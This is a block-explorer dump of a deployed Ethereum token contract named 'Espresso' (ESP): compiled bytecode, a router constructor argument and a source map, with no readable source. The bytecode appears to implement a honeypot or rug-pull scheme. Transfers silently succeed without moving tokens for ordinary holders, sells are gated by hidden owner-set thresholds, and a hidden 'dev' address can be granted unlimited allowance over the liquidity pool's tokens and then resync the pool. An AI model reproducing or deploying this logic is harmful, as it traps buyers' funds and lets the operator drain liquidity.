0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636346e734116100b8578063ae9de3401161007c578063ae9de340146102e1578063b51449bb146102f4578063b59c097414610307578063dd62ed3e1461030f578063e7a710a114610348578063ee97f7f31461035157600080fd5b80636346e7341461024e57806370a08231146102615780638da5cb5b1461028a57806395d89b41146102af578063a9059cbb146102ce57600080fd5b806326fae0d31161010a57806326fae0d3146101ce5780632782e35b146101e35780632dc58f8614610206578063313ce567146102195780633685d4191461022857806352390c021461023b57600080fd5b806306fdde0314610147578063095ea7b31461017d57806318160ddd146101a057806323b872dd146101b2578063262f78c5146101c5575b600080fd5b604080518082019091526008815267457370726573736f60c01b60208201525b6040516101749190611022565b60405180910390f35b61019061018b36600461108c565b610364565b6040519015158152602001610174565b600a545b604051908152602001610174565b6101906101c03660046110b8565b61037a565b6101a4600d5481565b6101e16101dc3660046110f9565b610442565b005b6101906101f13660046110f9565b60046020526000908152604090205460ff1681565b6101e1610214366004611116565b6104cc565b60405160128152602001610174565b6101e16102363660046110f9565b61050a565b6101e16102493660046110f9565b610545565b6101e161025c366004611116565b61057d565b6101a461026f3660046110f9565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610174565b60408051808201909152600381526204553560ec1b6020820152610167565b6101906102dc36600461108c565b6105ac565b6101e16102ef366004611116565b6105c9565b600254610297906001600160a01b031681565b6101e16105f8565b6101a461031d36600461112f565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6101a4600e5481565b600354610297906001600160a01b031681565b6000610371338484610679565b50600192915050565b600061038784848461079e565b15610437576001600160a01b0384166000908152600660209081526040808320338452909152902054828110156104165760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104218585856108a3565b6104358533610430868561117e565b610679565b505b5060015b9392505050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161040d90611195565b600280546001600160a01b039081166000908152600660208181526040808420600380548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6000546001600160a01b031633146104f65760405162461bcd60e51b815260040161040d90611195565b620186a0811061050557600080fd5b600d55565b6003546001600160a01b0316331461052157600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6003546001600160a01b0316331461055c57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161040d90611195565b600c55565b60006105b933848461079e565b15610371576103713384846108a3565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161040d90611195565b600b55565b6003546001600160a01b0316331461060f57600080fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561065f57600080fd5b505af1158015610673573d6000803e3d6000fd5b50505050565b6001600160a01b0383166106db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b03821661073c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526004602052604081205460ff16806107dd57506001600160a01b03831660009081526004602052604090205460ff165b156107ea5750600161043b565b6107f384610b05565b1561080857610800610b37565b50600161043b565b61081183610b05565b1561089957600061082183610c10565b6001600160a01b03861660009081526007602090815260408083205460088352818420546009909352922054929350909161085c86836111ca565b8310158015610876575061087084826111ca565b600b5410155b801561088e5750600c54886001600160a01b03163110155b94505050505061043b565b5060009392505050565b6001600160a01b0383166109075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b0382166109695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b610974838383610ea8565b6001600160a01b0383166000908152600560205260409020548111156109eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161040d565b6001600160a01b03831660009081526005602052604081208054839290610a1390849061117e565b90915550506001600160a01b03821660009081526005602052604081208054839290610a409084906111ca565b9091555050600254604080516318160ddd60e01b815290516001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac291906111e2565b600e556040518181526001600160a01b0380841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610791565b6001546000906001600160a01b0383811691161480610b3157506002546001600160a01b038381169116145b92915050565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015610b7c57600080fd5b505afa158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb491906111e2565b90506001600d54118015610bc95750600e5481105b15610c0d57600d54600e546002546001600160a01b0316600090815260056020526040902054610bf990846111fb565b610c03919061121a565b10610c0d57600080fd5b50565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c6357600080fd5b505afa158015610c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9b9190611258565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3891906112a8565b6001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc791906112a8565b6001600160a01b03161415610e6957600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b60206040518083038186803b158015610e2957600080fd5b505afa158015610e3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6191906111e2565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610e11565b610eb0610f69565b15610f6457610ebe83610b05565b15610ef1576001600160a01b03821660009081526007602052604081208054839290610eeb9084906111ca565b90915550505b610efa82610b05565b15610f64576001600160a01b03831660009081526008602052604081208054839290610f279084906111ca565b90915550610f36905081610c10565b6001600160a01b03841660009081526009602052604081208054909190610f5e9084906111ca565b90915550505b505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610fbc57600080fd5b505afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190611258565b506001600160701b031691506001600160701b0316915060008211801561101b5750600081115b9250505090565b600060208083528351808285015260005b8181101561104f57858101830151858201604001528201611033565b81811115611061576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c0d57600080fd5b6000806040838503121561109f57600080fd5b82356110aa81611077565b946020939093013593505050565b6000806000606084860312156110cd57600080fd5b83356110d881611077565b925060208401356110e881611077565b929592945050506040919091013590565b60006020828403121561110b57600080fd5b813561043b81611077565b60006020828403121561112857600080fd5b5035919050565b6000806040838503121561114257600080fd5b823561114d81611077565b9150602083013561115d81611077565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561119057611190611168565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111dd576111dd611168565b500190565b6000602082840312156111f457600080fd5b5051919050565b600081600019048311821515161561121557611215611168565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160701b038116811461125357600080fd5b919050565b60008060006060848603121561126d57600080fd5b6112768461123c565b92506112846020850161123c565b9150604084015163ffffffff8116811461129d57600080fd5b809150509250925092565b6000602082840312156112ba57600080fd5b815161043b8161107756fea26469706673582212204229c007f7f78e43380add5b6a2499d50a7fc5818026ce8bd1af12249e0007ca64736f6c63430008090033

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

9720:7067:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11081:99;11155:17;;;;;;;;;;;;-1:-1:-1;;;11155:17:0;;;;11081:99;;;;;;;:::i;:::-;;;;;;;;12041:163;;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;12041:163:0;1072:187:1;11394:102:0;11476:12;;11394:102;;;1410:25:1;;;1398:2;1383:18;11394:102:0;1264:177:1;12212:532:0;;;;;;:::i;:::-;;:::i;10422:20::-;;;;;;12966:200;;;;;;:::i;:::-;;:::i;:::-;;9922:49;;;;;;:::i;:::-;;;;;;;;;;;;;;;;13253:131;;;;;;:::i;:::-;;:::i;11292:94::-;;;9883:2;2486:36:1;;2474:2;2459:18;11292:94:0;2344:184:1;13392:114:0;;;;;;:::i;:::-;;:::i;13514:117::-;;;;;;:::i;:::-;;:::i;12859:99::-;;;;;;:::i;:::-;;:::i;11504:121::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11599:18:0;11572:7;11599:18;;;:9;:18;;;;;;;11504:121;629:79;667:7;694:6;-1:-1:-1;;;;;694:6:0;629:79;;;-1:-1:-1;;;;;2697:32:1;;;2679:51;;2667:2;2652:18;629:79:0;2533:203:1;11188:96:0;11264:12;;;;;;;;;;;;-1:-1:-1;;;11264:12:0;;;;11188:96;;11633:247;;;;;;:::i;:::-;;:::i;12752:99::-;;;;;;:::i;:::-;;:::i;9813:25::-;;;;;-1:-1:-1;;;;;9813:25:0;;;13174:71;;;:::i;11888:145::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11998:18:0;;;11971:7;11998:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11888:145;10449:27;;;;;;9894:21;;;;;-1:-1:-1;;;;;9894:21:0;;;12041:163;12118:4;12135:39;174:10;12158:7;12167:6;12135:8;:39::i;:::-;-1:-1:-1;12192:4:0;12041:163;;;;:::o;12212:532::-;12346:4;12367:40;12381:6;12389:9;12400:6;12367:13;:40::i;:::-;12363:352;;;-1:-1:-1;;;;;12451:19:0;;12424:24;12451:19;;;:11;:19;;;;;;;;174:10;12451:33;;;;;;;;12507:26;;;;12499:79;;;;-1:-1:-1;;;12499:79:0;;3564:2:1;12499:79:0;;;3546:21:1;3603:2;3583:18;;;3576:30;3642:34;3622:18;;;3615:62;-1:-1:-1;;;3693:18:1;;;3686:38;3741:19;;12499:79:0;;;;;;;;;12595:36;12605:6;12613:9;12624:6;12595:9;:36::i;:::-;12646:57;12655:6;174:10;12677:25;12696:6;12677:16;:25;:::i;:::-;12646:8;:57::i;:::-;12409:306;12363:352;-1:-1:-1;12732:4:0;12212:532;;;;;;:::o;12966:200::-;756:6;;-1:-1:-1;;;;;756:6:0;174:10;756:22;748:67;;;;-1:-1:-1;;;748:67:0;;;;;;;:::i;:::-;13052:5:::1;::::0;;-1:-1:-1;;;;;13052:5:0;;::::1;13070:1;13032:27:::0;;;:11:::1;:27;::::0;;;;;;;13060:6:::1;::::0;;;::::1;13032:35:::0;;;;;;;;:39;;;13082:16;;-1:-1:-1;;;;;;13082:16:0::1;::::0;;::::1;::::0;;::::1;::::0;;13129:5;;;;::::1;13109:27:::0;;;;;;;:35;;;;;;;;-1:-1:-1;;13109:49:0;;12966:200::o;13253:131::-;756:6;;-1:-1:-1;;;;;756:6:0;174:10;756:22;748:67;;;;-1:-1:-1;;;748:67:0;;;;;;;:::i;:::-;13340:7:::1;13328:9;:19;13320:28;;;::::0;::::1;;13359:5;:17:::0;13253:131::o;13392:114::-;10540:6;;-1:-1:-1;;;;;10540:6:0;10526:10;:20;10518:29;;;;;;-1:-1:-1;;;;;13465:26:0::1;;::::0;;;:17:::1;:26;::::0;;;;:33;;-1:-1:-1;;13465:33:0::1;13494:4;13465:33;::::0;;13392:114::o;13514:117::-;10540:6;;-1:-1:-1;;;;;10540:6:0;10526:10;:20;10518:29;;;;;;-1:-1:-1;;;;;13589:26:0::1;13618:5;13589:26:::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;13589:34:0::1;::::0;;13514:117::o;12859:99::-;756:6;;-1:-1:-1;;;;;756:6:0;174:10;756:22;748:67;;;;-1:-1:-1;;;748:67:0;;;;;;;:::i;:::-;12929:10:::1;:21:::0;12859:99::o;11633:247::-;11713:4;11734:46;174:10;11762:9;11773:6;11734:13;:46::i;:::-;11730:121;;;11797:42;174:10;11821:9;11832:6;11797:9;:42::i;12752:99::-;756:6;;-1:-1:-1;;;;;756:6:0;174:10;756:22;748:67;;;;-1:-1:-1;;;748:67:0;;;;;;;:::i;:::-;12822:10:::1;:21:::0;12752:99::o;13174:71::-;10540:6;;-1:-1:-1;;;;;10540:6:0;10526:10;:20;10518:29;;;;;;13225:5:::1;;;;;;;;;-1:-1:-1::0;;;;;13225:5:0::1;-1:-1:-1::0;;;;;13225:10:0::1;;:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13174:71::o:0;15130:371::-;-1:-1:-1;;;;;15257:19:0;;15249:68;;;;-1:-1:-1;;;15249:68:0;;4596:2:1;15249:68:0;;;4578:21:1;4635:2;4615:18;;;4608:30;4674:34;4654:18;;;4647:62;-1:-1:-1;;;4725:18:1;;;4718:34;4769:19;;15249:68:0;4394:400:1;15249:68:0;-1:-1:-1;;;;;15336:21:0;;15328:68;;;;-1:-1:-1;;;15328:68:0;;5001:2:1;15328:68:0;;;4983:21:1;5040:2;5020:18;;;5013:30;5079:34;5059:18;;;5052:62;-1:-1:-1;;;5130:18:1;;;5123:32;5172:19;;15328:68:0;4799:398:1;15328:68:0;-1:-1:-1;;;;;15409:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15461:32;;1410:25:1;;;15461:32:0;;1383:18:1;15461:32:0;;;;;;;;15130:371;;;:::o;13794:713::-;-1:-1:-1;;;;;13912:25:0;;13891:4;13912:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;13941:28:0;;;;;;:17;:28;;;;;;;;13912:57;13908:101;;;-1:-1:-1;13993:4:0;13986:11;;13908:101;14025:16;14034:6;14025:8;:16::i;:::-;14021:88;;;14058:13;:11;:13::i;:::-;-1:-1:-1;14093:4:0;14086:11;;14021:88;14123:19;14132:9;14123:8;:19::i;:::-;14119:358;;;14159:17;14179:25;14197:6;14179:17;:25::i;:::-;-1:-1:-1;;;;;14236:15:0;;14219:14;14236:15;;;:7;:15;;;;;;;;;14281:8;:16;;;;;;14330:11;:19;;;;;;14159:45;;-1:-1:-1;14236:15:0;;14383:13;14390:6;14281:16;14383:13;:::i;:::-;14373:6;:23;;:60;;;;-1:-1:-1;14414:19:0;14424:9;14414:7;:19;:::i;:::-;14400:10;;:33;;14373:60;:92;;;;;14455:10;;14437:6;-1:-1:-1;;;;;14437:14:0;;:28;;14373:92;14366:99;;;;;;;;14119:358;-1:-1:-1;14494:5:0;13794:713;;;;;:::o;14515:607::-;-1:-1:-1;;;;;14646:20:0;;14638:70;;;;-1:-1:-1;;;14638:70:0;;5537:2:1;14638:70:0;;;5519:21:1;5576:2;5556:18;;;5549:30;5615:34;5595:18;;;5588:62;-1:-1:-1;;;5666:18:1;;;5659:35;5711:19;;14638:70:0;5335:401:1;14638:70:0;-1:-1:-1;;;;;14727:23:0;;14719:71;;;;-1:-1:-1;;;14719:71:0;;5943:2:1;14719:71:0;;;5925:21:1;5982:2;5962:18;;;5955:30;6021:34;6001:18;;;5994:62;-1:-1:-1;;;6072:18:1;;;6065:33;6115:19;;14719:71:0;5741:399:1;14719:71:0;14801:47;14822:6;14830:9;14841:6;14801:20;:47::i;:::-;-1:-1:-1;;;;;14867:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;14867:27:0;14859:78;;;;-1:-1:-1;;;14859:78:0;;6347:2:1;14859:78:0;;;6329:21:1;6386:2;6366:18;;;6359:30;6425:34;6405:18;;;6398:62;-1:-1:-1;;;6476:18:1;;;6469:36;6522:19;;14859:78:0;6145:402:1;14859:78:0;-1:-1:-1;;;;;14950:17:0;;;;;;:9;:17;;;;;:27;;14971:6;;14950:17;:27;;14971:6;;14950:27;:::i;:::-;;;;-1:-1:-1;;;;;;;14988:20:0;;;;;;:9;:20;;;;;:30;;15012:6;;14988:20;:30;;15012:6;;14988:30;:::i;:::-;;;;-1:-1:-1;;15044:5:0;;:19;;;-1:-1:-1;;;15044:19:0;;;;-1:-1:-1;;;;;15044:5:0;;;;:17;;:19;;;;;;;;;;;;;;;:5;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15029:12;:34;15079:35;;1410:25:1;;;-1:-1:-1;;;;;15079:35:0;;;;;;;;;;1398:2:1;1383:18;15079:35:0;1264:177:1;13639:147:0;13740:7;;13696:4;;-1:-1:-1;;;;;13721:27:0;;;13740:7;;13721:27;;:56;;-1:-1:-1;13771:5:0;;-1:-1:-1;;;;;13752:25:0;;;13771:5;;13752:25;13721:56;13713:65;13639:147;-1:-1:-1;;13639:147:0:o;16509:275::-;16587:5;;:19;;;-1:-1:-1;;;16587:19:0;;;;16557:27;;-1:-1:-1;;;;;16587:5:0;;:17;;:19;;;;;;;;;;;;;;:5;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16557:49;;16629:1;16621:5;;:9;:47;;;;;16656:12;;16634:19;:34;16621:47;16617:160;;;16759:5;;16744:12;;16734:5;;-1:-1:-1;;;;;16734:5:0;16716:25;;;;:9;:25;;;;;;16694:47;;:19;:47;:::i;:::-;:62;;;;:::i;:::-;:70;16686:79;;;;;;16546:238;16509:275::o;15694:388::-;15765:7;15786:16;15804;15825:5;;;;;;;;;-1:-1:-1;;;;;15825:5:0;-1:-1:-1;;;;;15825:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15785:59;-1:-1:-1;;;;;15785:59:0;;;-1:-1:-1;;;;;15785:59:0;;;15877:7;;;;;;;;;-1:-1:-1;;;;;15877:7:0;-1:-1:-1;;;;;15877:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15859:32:0;:5;;;;;;;;;-1:-1:-1;;;;;15859:5:0;-1:-1:-1;;;;;15859:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15859:32:0;;15855:220;;;15915:7;;:54;;-1:-1:-1;;;15915:54:0;;;;;8242:25:1;;;8283:18;;;8276:34;;;8326:18;;;8319:34;;;-1:-1:-1;;;;;15915:7:0;;;;:20;;8215:18:1;;15915:54:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15908:61;15694:388;-1:-1:-1;;;;15694:388:0:o;15855:220::-;16009:7;;:54;;-1:-1:-1;;;16009:54:0;;;;;8242:25:1;;;8283:18;;;8276:34;;;8326:18;;;8319:34;;;-1:-1:-1;;;;;16009:7:0;;;;:20;;8215:18:1;;16009:54:0;8040:319:1;16090:411:0;16219:15;:13;:15::i;:::-;16215:279;;;16255:14;16264:4;16255:8;:14::i;:::-;16251:76;;;-1:-1:-1;;;;;16290:11:0;;;;;;:7;:11;;;;;:21;;16305:6;;16290:11;:21;;16305:6;;16290:21;:::i;:::-;;;;-1:-1:-1;;16251:76:0;16345:12;16354:2;16345:8;:12::i;:::-;16341:142;;;-1:-1:-1;;;;;16378:14:0;;;;;;:8;:14;;;;;:24;;16396:6;;16378:14;:24;;16396:6;;16378:24;:::i;:::-;;;;-1:-1:-1;16442:25:0;;-1:-1:-1;16460:6:0;16442:17;:25::i;:::-;-1:-1:-1;;;;;16421:17:0;;;;;;:11;:17;;;;;:46;;:17;;;:46;;;;;:::i;:::-;;;;-1:-1:-1;;16341:142:0;16090:411;;;:::o;15509:177::-;15556:4;15574:16;15592;15613:5;;;;;;;;;-1:-1:-1;;;;;15613:5:0;-1:-1:-1;;;;;15613:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15573:59;-1:-1:-1;;;;;15573:59:0;;;-1:-1:-1;;;;;15573:59:0;;;15661:1;15650:8;:12;:28;;;;;15677:1;15666:8;:12;15650:28;15643:35;;;;15509:177;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:247::-;1966:6;2019:2;2007:9;1998:7;1994:23;1990:32;1987:52;;;2035:1;2032;2025:12;1987:52;2074:9;2061:23;2093:31;2118:5;2093:31;:::i;2159:180::-;2218:6;2271:2;2259:9;2250:7;2246:23;2242:32;2239:52;;;2287:1;2284;2277:12;2239:52;-1:-1:-1;2310:23:1;;2159:180;-1:-1:-1;2159:180:1:o;2969:388::-;3037:6;3045;3098:2;3086:9;3077:7;3073:23;3069:32;3066:52;;;3114:1;3111;3104:12;3066:52;3153:9;3140:23;3172:31;3197:5;3172:31;:::i;:::-;3222:5;-1:-1:-1;3279:2:1;3264:18;;3251:32;3292:33;3251:32;3292:33;:::i;:::-;3344:7;3334:17;;;2969:388;;;;;:::o;3771:127::-;3832:10;3827:3;3823:20;3820:1;3813:31;3863:4;3860:1;3853:15;3887:4;3884:1;3877:15;3903:125;3943:4;3971:1;3968;3965:8;3962:34;;;3976:18;;:::i;:::-;-1:-1:-1;4013:9:1;;3903:125::o;4033:356::-;4235:2;4217:21;;;4254:18;;;4247:30;4313:34;4308:2;4293:18;;4286:62;4380:2;4365:18;;4033:356::o;5202:128::-;5242:3;5273:1;5269:6;5266:1;5263:13;5260:39;;;5279:18;;:::i;:::-;-1:-1:-1;5315:9:1;;5202:128::o;6552:184::-;6622:6;6675:2;6663:9;6654:7;6650:23;6646:32;6643:52;;;6691:1;6688;6681:12;6643:52;-1:-1:-1;6714:16:1;;6552:184;-1:-1:-1;6552:184:1:o;6741:168::-;6781:7;6847:1;6843;6839:6;6835:14;6832:1;6829:21;6824:1;6817:9;6810:17;6806:45;6803:71;;;6854:18;;:::i;:::-;-1:-1:-1;6894:9:1;;6741:168::o;6914:217::-;6954:1;6980;6970:132;;7024:10;7019:3;7015:20;7012:1;7005:31;7059:4;7056:1;7049:15;7087:4;7084:1;7077:15;6970:132;-1:-1:-1;7116:9:1;;6914:217::o;7136:188::-;7215:13;;-1:-1:-1;;;;;7257:42:1;;7247:53;;7237:81;;7314:1;7311;7304:12;7237:81;7136:188;;;:::o;7329:450::-;7416:6;7424;7432;7485:2;7473:9;7464:7;7460:23;7456:32;7453:52;;;7501:1;7498;7491:12;7453:52;7524:40;7554:9;7524:40;:::i;:::-;7514:50;;7583:49;7628:2;7617:9;7613:18;7583:49;:::i;:::-;7573:59;;7675:2;7664:9;7660:18;7654:25;7719:10;7712:5;7708:22;7701:5;7698:33;7688:61;;7745:1;7742;7735:12;7688:61;7768:5;7758:15;;;7329:450;;;;;:::o;7784:251::-;7854:6;7907:2;7895:9;7886:7;7882:23;7878:32;7875:52;;;7923:1;7920;7913:12;7875:52;7955:9;7949:16;7974:31;7999:5;7974:31;:::i

ipfs://4229c007f7f78e43380add5b6a2499d50a7fc5818026ce8bd1af12249e0007ca